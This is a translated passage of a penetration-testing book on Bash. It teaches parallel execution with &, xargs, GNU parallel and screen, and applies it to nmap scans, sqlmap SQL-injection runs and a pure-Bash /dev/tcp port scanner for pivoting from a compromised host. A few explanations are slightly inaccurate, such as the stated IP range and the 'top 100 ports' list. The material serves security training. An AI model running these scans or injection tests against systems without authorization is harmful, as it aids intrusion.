IP 协议字段(ip.proto)告诉你流量是 TCP、UDP、ICMP 还是其他。这有助于对流量进行高层次分类。
源和目标端口字段(tcp.srcport、udp.dstport 等)可以标识使用的网络服务,例如端口 80 上的 HTTP、端口 443 上的 HTTPS、端口 53 上的 DNS 等。监控这些字段可以揭示你网络中的未经授权的服务。
frame.time 字段为每个数据包添加时间戳,这对于分析事件顺序以及发现如重放攻击或密码猜测等情况至关重要。
对于调查 Web 流量,HTTP 方法、URI、用户代理和主机字段能提供关于潜在恶意请求、易受攻击的 Web 应用、恶意软件 C2 流量等的洞察。
最后,DNS 查询和响应字段在事件响应和威胁狩猎中非常宝贵,帮助你追踪与恶意软件或数据外泄相关的域名查询。
还有许多其他有用的字段,但这些是我最常依赖的。结合 Tshark 强大的过滤功能,你就拥有了一个检查可疑流量、调查事件和捕捉威胁的必备工具。
精通 Tshark 需要练习,但这绝对是值得的。能够快速从原始网络流量中解析出相关细节是网络安全分析员和渗透测试人员的核心技能。熟悉这些常见字段是一个很好的开始。从那里,你可以根据需要深入研究更高级的协议特定字段。
Tshark 的好处在于它非常灵活;如果有你需要的字段,Tshark 很可能可以提取出来。不要害怕探索完整的字段列表(tshark -G fields)并进行实验。随着时间的推移,你将建立起自己的常用字段和过滤器工具包,使你成为一个更快速、更有效的分析员。一旦你熟练掌握了使用 Tshark 字段的技巧,结合你对 Bash 脚本编写的了解,自动化重复、枯燥的工作,让你的职业生涯更上一层楼。
总结
在本章中,你学会了如何利用 Bash 在 Unix/Linux 环境中配置、排除故障和利用网络。你现在具备了访问网络配置细节、与各种网络组件交互以及使用 Bash 脚本利用易受攻击的网络服务的技能。
你从网络基础知识开始学习,学会了如何识别网络配置细节并使用 Bash 命令执行网络诊断。然后你进一步学习了编写网络枚举脚本,自动化工具扫描网络并枚举服务。接着,你探索了如何利用 Bash 进行网络利用,编写脚本以针对漏洞。最后,你初步了解了如何直接在 Bash 中分析网络流量以提取有用信息。
通过本章学到的知识,你现在具备了为各种网络任务编写强大的 Bash 脚本的能力,从基本管理到高级渗透测试。所学技能将为你服务良好,无论是保护自己的网络还是测试他人的网络。
在下一章中,我们将探讨并行处理以加快对时间敏感的 Bash 脚本的执行速度。
第七章:并行处理
在本章中,我们将探讨 Bash 脚本中并行处理的强大功能。随着任务变得更加数据密集和时间敏感,利用并行性可以显著提升 Bash 脚本的效率和效果。本章旨在逐步建立你对并行处理的理解和技能,从基础概念入手,进而扩展到实际应用和最佳实践。
本章结束时,你将全面了解如何在 Bash 脚本中利用并行处理的力量,使你能够在各种网络安全和数据处理场景中更高效、更有效地处理任务。
本章将涵盖以下主要内容:
-
理解 Bash 中的并行处理
-
实现基本的并行执行
-
使用
xargs和 GNU parallel 进行高级并行处理 -
实际应用和最佳实践
本章的代码可以在github.com/PacktPublishing/Bash-Shell-Scripting-for-Pentesters/tree/main/Chapter07找到。
理解 Bash 中的并行处理
Bash 中的并行处理涉及同时执行多个任务,而不是按顺序执行,以提高效率并减少执行时间。这个概念在任务相互独立并且可以并行执行的情况下特别有用。理解并行处理的基础原理对于在 Bash 脚本中有效利用这一技巧至关重要。
本节将介绍并行处理的基础知识,包括其优缺点。让我们从理解并行处理的一些关键概念开始,具体如下:
-
串行执行:任务按顺序一个接一个执行。每个任务必须完成后,下一个任务才能开始。这种方法简单直接,但对于大型或复杂任务可能比较耗时。
-
并行执行:多个任务同时执行,彼此独立。这可以显著减少整体执行时间,特别是对于那些可以并行执行而没有依赖关系的任务。
-
并发与并行:并发指的是通过在任务之间切换来处理多个任务,从而给人一种它们同时运行的假象。并行则是指实际同时运行多个任务,通常利用多个 CPU 核心。
-
独立进程:在 Bash 中,并行任务通常作为独立进程执行。每个进程独立运行,拥有自己的内存空间。
-
后台进程:在后台运行任务允许 Shell 在后台任务继续运行的同时执行其他命令。这是 Bash 中实现并行性的常见技巧。
并行处理的好处包括:
-
提高性能:通过利用多个处理器或核心,並行处理能够加速脚本的执行,提高其效率。
-
资源利用:并行处理通过将工作负载分配给多个进程,可以更好地利用系统资源,如 CPU 和内存。
-
可扩展性:使用并行处理的脚本能够处理更大的数据集和更复杂的任务,而执行时间不会线性增加。
并行处理也有一些缺点,具体如下:
-
复杂性:编写和调试并行脚本比串行脚本更为复杂,因为需要在任务之间进行同步和协调。
-
资源耗尽:多个进程可能会争夺相同的资源(例如 CPU、内存),如果管理不当,可能导致争用和性能下降。
-
错误管理:在并行任务中管理错误可能具有挑战性,因为一个任务的失败可能不会立即影响其他任务,从而使问题的检测和处理变得更加困难。
通过理解这些基本概念,你将能够有效地探索和实现 Bash 中的并行处理技术,从而提升脚本的性能和效率。
实现基本的并行执行
到目前为止,本章内容完全是理论性的。本节将深入探讨实际操作,并教你如何在 Bash 中实现基本的并行处理。将通过实际示例帮助你理解和学习这个主题。
在 Bash 脚本中,能够在后台运行命令或脚本是并行处理的一个基本特性。当一个进程被发送到后台时,用户可以继续在前台进行其他工作。这在网络安全领域尤其有用,因为某些任务,如网络扫描或数据监控,需要不断运行而不占用终端。
在 Bash 中将进程发送到后台的最简单方法是在命令末尾添加一个“&”符号(&),如以下示例所示:
$ ping google.com &
这个命令开始对 google.com 进行 ping 操作,并立即将命令提示符返回给用户,允许用户在不等待 ping 进程完成的情况下输入其他命令。
一旦一个进程在后台运行,它将由 shell 管理,而无需任何用户界面。然而,Bash 提供了多个命令来管理这些后台进程:
-
jobs:列出当前 shell 会话中所有正在运行的后台进程。 -
fg:将后台进程带回前台。你可以通过指定作业号来指定特定的任务(例如,fg %1将第一个作业带回前台)。 -
bg:恢复暂停的后台进程,并保持它在后台运行。
例如,假设你启动了一个脚本,该脚本捕获网络数据包并将其发送到后台:
$ sudo tcpdump -i eth0 -w packets.cap &
你可以使用 jobs 列出这个进程,使用 kill -s STOP %1 暂停它,使用 bg %1 恢复它。
这里有一个运行该命令的示例:
图 7.1 – 控制作业的示例
后台进程在网络安全中非常有用,用于那些耗时且不需要立即交互的任务,例如以下内容:
-
长期监控:设置一个网络监控工具在后台运行,记录流量模式或随时间检测异常
-
自动化脚本:运行定制脚本,定期检查系统日志或扫描目录以检测变化,而不阻塞对终端的访问
这里有一个简单的脚本,用于监视特定安全事件的系统日志,在后台运行。你可以在本章的书本 GitHub 存储库中找到该脚本,文件名为 ch07_backgr ound_1.sh:
#!/bin/bash
grep -i "failed password" /var/log/auth.log > /tmp/failed-login-attempts.log &
该脚本过滤认证日志以查找失败的登录尝试,并将结果输出到临时文件中,所有这些操作均在后台运行。
尽管后台处理是一个强大的工具,但应谨慎使用,注意以下几个方面:
-
监控资源使用情况:后台进程消耗系统资源。使用诸如
top或htop的工具来监控资源使用情况,确保后台任务不会对系统性能产生不利影响。 -
使用 nohup 来处理无人看管的任务:如果你启动一个后台进程然后退出登录,该进程会终止,除非你使用
nohup允许它继续运行:$ nohup ./your-script.sh &。 -
错误处理:将错误消息重定向到文件或日志服务,以跟踪执行后台进程期间可能发生的任何问题。
有效地使用后台进程允许渗透测试人员同时执行多个任务,提升生产力和效率。通过理解和实施讨论的技术,你可以优化 Bash 脚本以处理并行处理任务,在网络安全领域尤为重要。
在 Bash 中,你可以通过使用 & 将迭代运行在后台来并行化循环,然后使用 wait 同步它们。这种方法在每个迭代的任务不依赖于其他完成时特别有用。
这是一个基本示例,可以在本章的书本 GitHub 存储库中找到,文件名为 ch07_backg round_2.sh:
#!/usr/bin/env bash
for i in {1..5}; do
echo "Processing item $i"
sleep 1 &
done
wait
echo "All processes complete."
在这个例子中,sleep 1 & 模拟后台处理任务。循环后使用 wait 命令确保脚本等待所有后台进程完成后再继续。
这个例子脚本用于并行扫描多个 IP 地址,可以在书本的 GitHub 存储库中找到,文件名为 ch07_backg round_3.sh:
#!/usr/bin/env bash
ips=("192.168.1.1" "192.168.1.2" "192.168.1.3")
for ip in "${ips[@]}"; do
nmap -sS "$ip" > "scan_$ip.txt" &
done
wait
echo "Scanning complete."
每个nmap扫描都在后台运行,scan_$ip.txt捕获输出。一旦所有扫描启动,wait确保脚本只有在所有扫描完成后才继续执行。
使用 Bash 中的&和wait进行简单的并行循环为实现重复任务的并行处理提供了一种简便的方法,特别是在网络安全中,对于网络扫描或日志处理等任务特别有用。
到目前为止,我们使用的是非常基本的并行处理,利用的是内建的 Bash 特性。下一节将展示如何使用xargs和 GNU parallel 来进行更高级的并行处理。
使用 xargs 和 GNU parallel 进行高级并行处理
本节将跳跃到比之前展示的基本且有限的后台处理更先进的内容。你将学习如何使用功能更强大的xargs和 Gnu parallel 来实现性能关键的 Bash 代码的并行处理。
引入 xargs 以实现强大的并行处理
xargs应用程序是一个强大的 Linux 命令行工具。它用于从标准输入构建和执行命令行。默认情况下,xargs从标准输入读取项并执行指定的命令,执行一次或多次,使用提供的输入。这个工具对于处理大量参数或并行处理项目以提高效率特别有用。
xargs的基本语法如下:
command | xargs [options] [command [initial-arguments]]
这里是一个简单的示例:
$ echo "file1 file2 file3" | xargs rm
在这个例子中,xargs接受echo的输出(列出三个文件名),并构建一个命令来删除这些文件,执行rm file1** **file2 file3。
xargs最强大的功能之一是能够使用-P选项并行执行命令,该选项指定同时运行的进程数。这可以显著加速可以独立执行的操作。
假设你有一组文件需要压缩。你可以使用xargs并行处理它们,而不是逐个压缩:
$ ls *.log | xargs -P 4 -I {} gzip {}
下面是这个命令的每个部分的作用:
-
ls *.log列出当前目录下的所有.log文件 -
xargs -P 4告诉xargs使用最多四个并行进程 -
-I {}是输入参数的占位符(每个文件名) -
gzip {}压缩ls列出的每个文件
这个命令将同时压缩最多四个日志文件,使得操作比顺序处理每个文件要快得多。
在网络安全中,xargs对并行化任务非常有用,比如扫描多个主机、分析大量日志文件或在多个系统上执行命令。下面是使用xargs进行并行网络扫描的示例:
$ cat hosts.txt | xargs -P 5 -I {} nmap -sS -oN {}_scan.txt {}
这个命令的作用如下:
-
cat hosts.txt从hosts.txt文件中读取主机名或 IP 地址列表 -
xargs -P 5运行最多五个并行实例的以下命令 -
-I {}将hosts.txt中的主机名或 IP 地址插入到命令中 -
nmap -sS -oN {}_scan.txt {}对每个主机运行nmap扫描,并将输出保存到以主机名命名的文件中
管理并行进程的输出可能会很棘手。以下是一些提示:
-
Separate output files: 如示例所示,将每个命令的输出重定向到一个唯一的文件 -
Combine outputs: 使用cat或类似工具在处理后合并输出文件 -
Logging: 将标准输出和错误输出重定向到每个进程的日志文件中,以确保捕获所有相关信息,如以下代码所示:cat hosts.txt | xargs -P 5 -I {} sh -c 'nmap -sS {} > {}_scan.txt 2>&1'
xargs 命令是一个多功能的工具,可以通过启用并行执行大大提高 Bash 脚本的效率。它能够处理大量的参数并并行处理,这对于各种网络安全任务(从网络扫描到日志文件分析)来说非常有价值。通过掌握 xargs,你可以显著减少许多重复任务所需的时间,从而提高网络安全操作中的生产力和效率。
使用 GNU parallel 提供更强的控制
在深入使用 GNU parallel 之前,确保它已安装在你的系统上。在大多数 Linux 发行版中,可以使用包管理器进行安装。例如,在基于 Debian 的系统上,使用以下命令:
$ sudo apt-get update && sudo apt-get install parallel
GNU parallel 允许你通过从标准输入、文件或命令行参数读取输入来并行运行命令:
$ parallel echo ::: A B C D
这里是一个解释:
-
parallel: 用于调用 GNU parallel 的命令 -
echo: 要在并行中执行的命令 -
:::: 一个分隔符,表示命令行输入值的开始 -
A B C D: 将并行处理的输入值
在这个例子中,GNU parallel 会并行运行 echo 命令四次,每次用一个输入值(A、B、C、D)。
GNU parallel 在处理更复杂的任务时表现出色,例如处理文件或在多个目标上执行脚本。假设你有一个包含多个文本文件的目录,并且希望同时统计每个文件的行数,可以使用以下命令:
$ ls *.txt | parallel wc -l
这里是一个解释:
-
ls *.txt: 列出当前目录中的所有文本文件 -
| parallel: 将文件列表传递给 GNU parallel -
wc -l: 用于统计每个文件中的行数
在这里,GNU parallel 会并行地在每个文件上运行 wc -l,与按顺序运行命令相比,显著加快了处理速度。
GNU parallel 可以处理更复杂的场景,包括脚本和多个输入参数。假设你有一个 scan.sh 脚本用于执行网络扫描,你需要在多个 IP 地址上运行此脚本。以下代码演示了基本的并行用法:
$ cat ips.txt | parallel ./scan.sh
这里是一个解释:
-
cat ips.txt: 输出ips.txt文件的内容,该文件包含一组 IP 地址 -
| parallel:将 IP 地址列表通过管道传递给 GNU parallel。 -
./scan.sh:要在每个 IP 地址上执行的脚本
在此示例中,GNU parallel 并行运行scan.sh,针对ips.txt中列出的每个 IP 地址,提高了网络扫描操作的效率。
GNU parallel 提供了高级选项来控制并发任务的数量、处理来自多个来源的输入并管理输出。
你可以使用-j选项限制同时运行的任务数:
$ cat ips.txt | parallel -j 4 ./scan.sh
在这里,-j 4将并发任务数限制为4。该命令确保不会同时运行超过四个scan.sh实例,这对于管理系统资源非常有用。
Parallel 还可以处理多个输入源,支持更复杂的工作流:
$ parallel -a ips.txt -a ports.txt ./ch07_parallel_1.sh
下面是解释:
-
-a ips.txt:指定ips.txt作为输入文件 -
-a ports.txt:指定ports.txt作为另一个输入文件 -
./scan.sh:结合输入执行的脚本
在这里,parallel结合了来自ips.txt和ports.txt的输入,运行scan.sh,并为每对 IP 地址和端口执行任务。在ch07_parallel_1.sh脚本中,ips.txt和ports.txt中的输入被引用为位置变量:
#!/usr/bin/env bash
IP_ADDRESS=$1
PORT=$2
echo "Scanning IP: $IP_ADDRESS on Port: $PORT"
这段代码可以在书籍的 GitHub 仓库中找到,文件名为ch07_parallel_1.sh。以下是输出结果:
Scanning IP: 192.168.1.1 on Port: 80
Scanning IP: 192.168.1.1 on Port: 443
Scanning IP: 192.168.1.1 on Port: 8080
Scanning IP: 192.168.1.2 on Port: 80
Scanning IP: 192.168.1.2 on Port: 443
Scanning IP: 192.168.1.2 on Port: 8080
Scanning IP: 192.168.1.3 on Port: 80
Scanning IP: 192.168.1.3 on Port: 443
Scanning IP: 192.168.1.3 on Port: 8080
管理并行进程中的错误和输出可能具有挑战性,但parallel提供了处理这些情况的机制,如下所示:
$ parallel ./scan.sh {} '>' results/{#}.out '2>' errors/{#}.err :::: ips.txt
下面是解释:
-
{}'>':将标准输出重定向到文件。注意,>字符是被引号括起来的。其他特殊的 Shell 字符(如\*、;、$、>、<、|、>>和**<<**)也需要用引号括起来,否则它们可能会被 Shell 解析,而不是传递给 parallel。 -
results/{#}.out:存储标准输出的文件,{#}代表任务编号。 -
2>:将标准错误重定向到一个文件。 -
errors/{#}.err:存储标准错误的文件,{#}代表任务编号。 -
:::: ips.txt:指定ips.txt作为输入文件。::::用于指定后续的参数是包含输入项的文件名。
该命令将每个任务的输出和错误重定向到不同的文件,方便查看结果并调试问题。
GNU parallel 的输入可以通过四种不同的方式指定:
-
::::直接输入列表,parallel echo ::: A** **B C -
:::::来自文件的输入,parallel echo ::::** **input.txt -
|:标准输入,cat input.txt |** **parallel echo -
--arg-file或-a:指定一个文件,parallel --arg-file** **input.txt echo
请记住,可以指定多个输入。以下示例包括多个文件和参数输入:
$ parallel -a file1 -a file2 ::: arg1 arg2 :::: file3 :::: file4 command
让我们来解析这个复杂的并行命令:
-
-a file1 -a file2** : **-a选项指定输入源。这告诉parallel从file1和file2中读取输入行。每一行将作为命令的参数。 -
::: arg1 arg2** : **:::分隔符引入命令行参数。arg1和arg2是将用于每个任务的字面参数。 -
:::: file3** : **::::分隔符引入了另一个输入源。file3将被读取,每一行将作为参数使用。 -
:::: file4: 另一个输入源,类似于file3。file4中的每一行将作为参数使用。 -
command: 这是将并行执行的实际命令,每种输入组合都会执行。
下面是 parallel 如何处理此命令的方式。它会为以下每种组合创建一个任务:
-
来自
file1的一行 -
来自
file2的一行 -
arg1或arg2 -
来自
file3的一行 -
来自
file4的一行
对于每一种组合,它将执行 command ,按顺序替换参数。并行执行的任务数量取决于可用的 CPU 核心数,除非另行指定。
让我们创建一个实际的例子,使用 parallel 命令对多台服务器执行一系列自动化安全检查,使用不同的工具和配置。这可能是渗透测试或安全审计练习的一部分。
以下是 servers.txt 文件的内容:
10.2.10.10
10.2.10.11
以下是 ports.txt 文件的内容:
80,445
22,3389
以下是 scan_types.txt 文件的内容:
quick
thorough
以下是 output_formats.txt 文件的内容:
txt
json
现在,让我们创建一个脚本来执行这些安全检查。你可以在本书的 GitHub 仓库中找到这个文件,名为 ch07_parallel_3.sh。这个脚本的目的是自动化并行化跨多台服务器执行一系列模拟的安全检查:
#!/usr/bin/env bash
perform_security_check() {
server="$1"
ports="$2"
scan_type="$3"
output_format="$4"
echo "Performing $scan_type security check on $server (ports: $ports) with $output_format output"
# Simulating nmap scan
nmap_options=""
if [ "$scan_type" == "quick" ]; then
nmap_options="-T4 -F"
else
nmap_options="-sV -sC -O"
fi
output_file="scan_${server//./}_${scan_type}_${output_format}.${output_format}"
nmap $nmap_options -p $ports $server -oN $output_file
# Simulating additional security checks
echo "Running vulnerability scan on $server" >> $output_file
echo "Checking for misconfigurations on $server" >> $output_file
echo "Performing brute force attack simulation on $server" >> $output_file
echo "Security check completed for $server. Results saved in $output_file"
echo "-----"
}
export -f perform_security_check
parallel -a servers.txt -a ports.txt :::: scan_types.txt :::: output_formats.txt perform_security_check
这是运行脚本时的部分输出:
$ ./ch07_parallel_3.sh
Performing quick security check on 10.2.10.10 (ports: 80,445) with txt output
Security check completed for 10.2.10.10\. Results saved in scan_1021010_quick_txt.txt
-----
Performing quick security check on 10.2.10.10 (ports: 80,445) with json output
Security check completed for 10.2.10.10\. Results saved in scan_1021010_quick_json.json
-----
Performing thorough security check on 10.2.10.10 (ports: 80,445) with txt output
Security check completed for 10.2.10.10\. Results saved in scan_1021010_thorough_txt.txt
-----
Performing thorough security check on 10.2.10.10 (ports: 80,445) with json output
Security check completed for 10.2.10.10\. Results saved in scan_1021010_thorough_json.json
-----
Performing quick security check on 10.2.10.10 (ports: 22,3389) with txt output
Security check completed for 10.2.10.10\. Results saved in scan_1021010_quick_txt.txt
-----
Performing quick security check on 10.2.10.10 (ports: 22,3389) with json output
Security check completed for 10.2.10.10\. Results saved in scan_1021010_quick_json.json
-----
这种命令结构在需要组合来自多个来源的数据进行处理时特别有用,可以执行复杂的并行处理任务。
现在你已经了解了 xargs 和 parallel,接下来我将解释在何时选择其中一个而不是另一个。
比较 xargs 和 parallel
xargs 和 parallel 之间的关键区别是什么,如何知道何时使用其中一个作为合适的工具?以下表格可以帮助你选择适合的工具:
| 方面 | xargs | GNU parallel |
|---|---|---|
| 执行方式 | 默认串行。可以使用 -P 选项并行运行,但灵活性较差。 | 为高效并行执行设计,开箱即用。 |
| 复杂性 | 更简单,轻量级。适合简单任务。 | 功能丰富。处理复杂场景、任务控制和负载平衡。 |
| 错误处理 | 基本。可能在出错时停止。 | 强健。即使遇到失败也能继续执行。 |
| 可用性 | 大多数 Unix 系统默认安装。 | 需要单独安装。 |
表 7.1 – xargs 与 parallel 功能的比较
在了解了 Bash 并行处理的工作原理后,接下来我们将探索在实际应用中使用这些概念。
使用 screen 实现并行性
screen命令是一个 Linux 工具,允许用户在一个窗口中管理多个终端会话。它特别适用于运行长时间的进程、管理远程会话和在 Bash 脚本中实现并行性。
在继续之前,请通过运行以下命令确保已安装screen:
$ sudo apt update && sudo apt install -y screen
下面是如何使用screen并行运行多个任务。你可以在书籍的 GitHub 仓库中找到代码,文件名为ch07_screen_1.sh:
perform_task() {
echo "Starting task $1"
sleep 5 # Simulating work
echo "Finished task $1"
}
perform_task函数只是休眠五秒钟,用来模拟执行任务。
以下代码创建一个名为parallel_tasks的新分离式screen会话:
screen -dmS parallel_tasks
-d 标志以分离模式启动会话,-m 创建一个新会话。
for i in {1..5}; do
screen -S parallel_tasks -X screen -t "Task $i" bash -c "perform_task $i; exec bash"
done
上述for循环在独立的screen窗口中启动多个任务。此命令在parallel_tasks会话中创建一个新窗口。-X标志将命令发送到会话,screen创建一个新窗口,-t设置窗口标题,bash -c在新窗口中执行指定的命令。
screen -S parallel_tasks -X windowlist -b
上述命令等待会话中的所有窗口关闭。它有助于同步并行任务的完成。
screen -S parallel_tasks -X quit
上述命令在所有任务完成后终止整个 screen 会话。
现在我们已经掌握了xargs、parallel和screen的使用基础,接下来让我们进入下一部分,看看一些实际应用,并回顾它们的最佳实践。
实际应用和最佳实践
本节将通过展示实际应用来进一步巩固你对 Bash 并行处理的理解。接下来是最佳实践,帮助你最大化地学习这些概念。
Bash 并行处理的实际应用
在这一部分,我们将通过示例展示 Bash 并行处理在渗透测试中的实际应用。
第一个示例使用 GNU parallel 进行SQL 注入测试,如下所示的代码:
#!/usr/bin/env bash
urls=("http://example.com/login.php" "http://test.com/index.php" "http://site.com/search.php")
echo "${urls[@]}" | parallel -j 3 'sqlmap -u {} --batch --crawl=2'
echo "All SQL injection tests completed."
该代码可以在书籍的 GitHub 仓库中找到,文件名为ch07_parallel_2.sh。以下是解释:
-
urls是一个待测试的 URL 数组 -
echo "${urls[@]}"输出 URL 列表 -
parallel -j 3 'sqlmap -u {} --batch --crawl=2'在每个 URL 上运行sqlmap,最多允许三项并发作业
下一个示例展示了如何并行进行网络 TCP 端口扫描,如下所示:
#!/usr/bin/env bash
ips=$(seq 1 254 | awk '{print "192.168.1." $1}')
echo "$ips" | xargs -n 1 -P 10 -I {} bash -c 'nmap -sP {}'
echo "Network scan completed."
该代码可以在书籍的 GitHub 仓库中找到,文件名为ch07_xargs_1.sh。以下是解释:
-
seq 1 254 | awk '{print "192.168.1." $1}'生成从192.168.1.1到192.168.1.254的 IP 地址。 -
echo "$ips"输出 IP 列表。 -
xargs -n 1 -P 10 -I {} bash -c 'nmap -sP {}'运行nmap的 ping 扫描(-sP)对每个 IP 进行扫描,最多支持 10 个并行作业。-n 1选项告诉xargs每次最多使用一个参数。在这种情况下,意味着xargs每接收到一个 IP 地址或主机名作为输入,就会执行一次nmap命令。
虽然前面的例子是并行执行端口扫描,nmap已经具备这种能力。因此,让我们探索如何在 Bash 中实现。你可能会遇到这样的情况:在一个已被你利用的系统上,无法安装像nmap这样的工具,出于某种原因你不能使用它,所以你需要准备好利用该系统作为跳板进入其他网络。
以下 Bash 脚本没有外部依赖,它扫描活动主机并端口扫描前 100 个 TCP 端口。它的速度远不如使用xargs或parallel时那么快。只需要记住,总有一天你会需要一个不依赖外部工具的方案,而你无法确保xargs和parallel总是可用。这个脚本应该可以在任何有 Bash 和ping应用程序的地方运行:
#!/usr/bin/env bash
IP_RANGE="10.2.10.{1..20}"
PORTS=(21 22 23 25 53 80 110 143 443 587 3306 3389 5900 8000 8080 9000 49152 49153 49154 49155 49156 49157 49158 49159 49160 49161 49162 49163 49164 49165 49166 49167 49168 49169 49170 49171 49172 49173 49174 49175 49176 49177 49178 49179 49180 49181 49182 49183 49184 49185 49186 49187 49188 49189 49190 49191 49192 49193 49194 49195 49196 49197 49198 49199 49200 49201 49202 49203 49204 49205 49206 49207 49208 49209 49210 49211 49212 49213 49214 49215 49216 49217 49218 49219 49220 49221 49222 49223 49224 49225 49226 49227 49228 49229 49230 49231)
LIVE_HOSTS=()
for IP in $(eval echo $IP_RANGE); do
if ping -c 1 -W 1 $IP > /dev/null 2>&1; then
LIVE_HOSTS+=($IP)
fi
done
scan_ports() {
local IP=$1
for PORT in "${PORTS[@]}"; do
(echo >/dev/tcp/$IP/$PORT) > /dev/null 2>&1 && echo "$IP:$PORT"
done
}
# Export the function to use in subshells
export -f scan_ports
# Loop through live hosts and scan ports in parallel
for IP in "${LIVE_HOSTS[@]}"; do
scan_ports $IP &
done
echo "Waiting for port scans to complete…"
wait
该代码可以在本书的 GitHub 代码库中找到,文件名为ch07_no_dependencies_scan.sh。以下是解释:
-
#!/usr/bin/env bash:常见的shebang,我们在之前的章节中已经介绍过。它基本上告诉 shell 使用哪个程序来执行接下来的代码。 -
IP_RANGE:定义了使用大括号扩展({1..20})扫描的 IP 地址范围,表示基础 IP192.168.1的最后一个八位字节从 1 到 20。 -
PORTS:一个数组,保存nmap的前 100 个 TCP 端口。 -
LIVE_HOSTS:一个空数组,用于存储响应 ping 请求的活动主机的 IP 地址。 -
for IP in $(eval echo $IP_RANGE):遍历扩展后的 IP 地址列表。 -
ping -c 1 -W 1 $IP > /dev/null 2>&1:发送一个 ICMP 回显请求(-c 1),并设置 1 秒的超时时间(-W 1)来检查主机是否在线。输出被重定向到/dev/null以避免显示。 -
LIVE_HOSTS+=($IP):如果主机在线,将 IP 地址添加到LIVE_HOSTS数组中。 -
scan_ports $IP:一个以 IP 地址作为参数的函数。 -
(echo >/dev/tcp/$IP/$PORT) > /dev/null 2>&1:尝试打开与指定 IP 地址和端口的 TCP 连接。如果成功,将打印 IP 地址和端口。 -
Export the function:使用export -f scan_ports可以让该函数在子 shell 中使用。 -
for IP in "${LIVE_HOSTS[@]}":遍历活动主机的列表。 -
scan_ports $IP &:在后台调用scan_ports函数处理每个 IP 地址,允许并发执行。 -
wait:等待所有后台作业完成后再退出脚本。
该脚本检查 20 个连续的 IP 地址以确认活动主机,然后扫描前 100 个 TCP 端口,并且在我的系统上 10 秒内完成:
图 7.2 – 一个在任何系统上都能运行的 Bash TCP 端口扫描器
这是一个并行下载多个文件的示例:
$ parallel -j 3 wget ::: http://example.com/file1 http://example.com/file2 http://example.com/file3
这是解释:
-
parallel -j 3:执行三个并行作业 -
wget ::::后面跟随的一组三个 URL 是输入
该命令使用wget并发下载三个文件。
Bash 中的并行执行最佳实践
本节探讨了使用xargs和parallel并发执行任务的最佳实践,充分利用系统资源的潜力。
以下是并行执行的最佳实践:
-
确定作业的最佳数量:理想的并行作业数量取决于系统的 CPU 和内存容量。可以从 CPU 核心数开始,并根据性能进行调整。如果不指定作业数量,
xargs默认一个作业,而 GNU parallel 默认每个 CPU 核心一个作业。 -
监控资源使用:使用
htop或vmstat等工具监控并行执行过程中 CPU 和内存的使用情况,确保系统保持响应。有关这些工具的示例,请参阅手册页。 -
进行干运行:你可以通过包含
--** **dry-run选项来检查并行将运行的内容。 -
优雅地处理错误:
xargs和 GNU parallel 都可以捕获并记录错误。利用这些功能可以在不中断整个过程的情况下识别和调试问题。 -
适当重定向输出:将每个作业的输出重定向到单独的文件或日志系统,以避免输出交织和混乱。
-
使用有意义的作业名称:使用 GNU Parallel 时,你可以为作业分配有意义的名称,以便轻松跟踪其进度。
使用xargs和 GNU parallel 的并行执行可以极大提高 Bash 脚本的效率,特别是在网络安全和渗透测试任务中。通过遵循优化作业数量、监控资源、处理错误和管理输出等最佳实践,你可以充分利用并行处理的潜力,提升脚本和工作流的效率。
总结
本章我们学习了 Bash 脚本中的并行处理技术。这帮助你掌握了使用后台进程和作业控制进行并行执行的基础知识。我们还学习了使用 xargs 和 GNU parallel 等工具进行高级并行处理,并讨论了如何管理并行任务中的错误和输出。本章还介绍了如何将并行处理应用于渗透测试工作流。
本章将帮助你显著加快处理大量数据或同时执行多个命令的任务。并行处理可以大大减少网络扫描、暴力破解攻击或同时分析多个目标所需的时间。理解如何管理并行任务有助于为各种渗透测试场景创建更高效、更健壮的脚本。所学的技能可以应用于优化资源使用,并提高安全评估中的整体生产力。
通过掌握 Bash 中的并行处理,渗透测试人员可以创建更强大、更高效的脚本,使他们能够更有效地处理复杂任务和大规模评估。
在下一章,我们将深入探讨第二部分,在这里你将运用所有学到的 Bash 知识进行渗透测试。
第二部分:用于渗透测试的 Bash 脚本
在这一部分中,你将把你的基础 Bash 脚本知识应用到现实世界的渗透测试场景中。从侦察和信息收集开始,你将学习如何通过 Bash 脚本自动发现目标资产,包括 DNS 枚举、子域映射和 OSINT 收集。本节随后进入 Web 应用程序测试,你将开发用于自动化 HTTP 请求、分析响应和识别常见 Web 漏洞的脚本。深入到基础设施测试,你将创建用于网络扫描、服务枚举和漏洞评估自动化的脚本。重点然后转向后渗透技术,各章节专注于提权脚本编写、维持持久性和网络枢轴 – 均通过 Bash 脚本实现。本节以全面查看渗透测试报告自动化结束,教会你如何利用 Bash 脚本将原始工具输出和发现转化为专业、可操作的报告。在第二部分中,每一章都建立在前面的基础上,最终形成一个完整的自定义 Bash 脚本工具包,用于进行彻底的渗透测试。
本部分包括以下章节:
-
第八章,侦察与信息收集
-
第九章,使用 Bash 进行 Web 应用程序渗透测试
-
第十章,使用 Bash 进行网络和基础设施渗透测试
-
第十一章,Bash Shell 中的提权
-
第十二章,持久化和枢轴
-
第十三章,使用 Bash 进行渗透测试报告
第八章:侦察和信息收集
前几章向你介绍了 Bash 脚本编写的概念。在某些情况下,我们运行的应用程序并不是用 Bash 编写的。在这些情况下,我们使用 Bash 来执行程序,在应用程序之间传递数据,或解析这些工具的输出。随着我们在本书中的进展,我们将展示更少的纯 Bash,更多地使用 Bash 来执行我们的渗透测试工具,自动化它们,并解析它们的输出。
在本章中,我们深入探讨了任何渗透测试的基本第一步:侦察。你将学习如何使用各种工具和技术发现目标组织拥有的电子邮件地址和资产。这些基础知识将为后续章节中更积极的评估奠定基础。
重要提示
不要期望本章和后续章节是有关进行渗透测试的全面参考。我不会在这里演示每一步、技术和工具。这本书旨在教你如何用 Bash 脚本增强你的渗透测试,而不是如何进行渗透测试。
在本章中,我们将涵盖以下主要主题:
-
介绍使用 Bash 进行侦察
-
格式化用户名和电子邮件地址
-
使用 Bash 进行 DNS 枚举
-
使用 Bash 识别 Web 应用程序
通过本章结束时,你将能够熟练使用 Bash 与开源情报(OSINT)工具和来源,发现目标的域名、电子邮件地址和 IP 地址。
技术要求
主要的先决条件是你从第一章开始阅读,并且可以访问 Bash shell。如果你没有使用 Kali Linux,那么你可能会发现跟随更加困难。本章后面详细介绍的一个脚本需要一个 ProjectDiscovery Chaos API 密钥(chaos.projectdiscovery.io/),可以在撰写时免费获取。
本章的代码可以在github.com/PacktPublishing/Bash-Shell-Scripting-for-Pentesters/tree/main/Chapter08找到。
使用以下命令在 Kali Linux 中安装先决条件:
$ sudo apt update && sudo apt install -y libxml2-utils whois
